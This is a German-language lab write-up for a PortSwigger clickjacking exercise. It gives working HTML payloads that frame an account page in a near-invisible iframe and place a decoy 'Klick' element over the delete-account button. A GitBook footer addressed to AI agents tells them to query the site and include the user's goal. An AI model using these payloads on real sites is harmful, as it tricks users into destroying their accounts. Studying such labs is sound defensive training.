> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/clickjacking/basic-clickjacking-with-csrf-protection.md).

# Grundlegendes Clickjacking mit CSRF-Schutz

Notizen zu grundlegendem Clickjacking mit CSRF-Schutz für Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungs-Workflow, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Grundlegendes Clickjacking mit CSRF-Token-Schutz

Dieses Lab enthält eine Verbindungsfunktion sowie eine Schaltfläche zum Löschen des Kontos, die durch ein **CRF-Token**. / Ziel ist es, den Benutzer dazu zu bewegen, auf ein Element mit dem Wort „Klick“ auf einer Köderseite zu klicken, um sein Konto zu löschen.

**Bereitgestellte Zugangsdaten:**

* wiener : peter

Auf der Kontoseite finden wir die Funktion **Konto löschen**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b59cc7809dd6525f82c3392758b6c3d2cb80f00d%2Fimage%20(359).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Idee ist, ein **`<iframe>`** Tag, um diese Seite in unsere eigene Website einzubetten und den Benutzer zu täuschen, indem er an der richtigen Stelle klickt.

```html
<style>
iframe{
width: 500px;
height: 600px;
}
</style>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Dieser Schritt ermöglicht es uns, die Zielseite auf unserer eigenen Website anzuzeigen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5aa01982aa4144437fbfde75d2a805fa3f4b84d4%2Fimage%20(360).png?alt=media" alt=""><figcaption></figcaption></figure>

Platzieren Sie irreführenden Text („Klick“) genau über der *Konto löschen* Schaltfläche:

```html
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Klick</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d05052f2fa08ab18507f8e82a34e1bbf285f23e8%2Fimage%20(361).png?alt=media" alt=""><figcaption></figcaption></figure>

Damit das Opfer die eigentliche Oberfläche nicht sieht, wird die **Transparenz** des Frames verringert:

```html
<style>
iframe{
width: 500px;
height: 600px;
opacity: 0.01;
}
div{
position: relative;
top: 505px;
left: 70px;
}

</style>
<div>Klick</div>
<iframe src ="https://0aff004103a38073e5623c7500bd0041.web-security-academy.net/my-account"</iframe>
```

Wenn der untere Teil der Seite nicht erscheint, liegt das wahrscheinlich am Fehlen des `frameborder="0"` Parameters oder durch eine Sicherheitsrichtlinie der Website. / Das Erscheinungsbild kann wie folgt angepasst werden:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc6c0e5e0ca3b4f2e72b54c03819370bdeb50539%2Fimage%20(362).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/clickjacking/basic-clickjacking-with-csrf-protection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
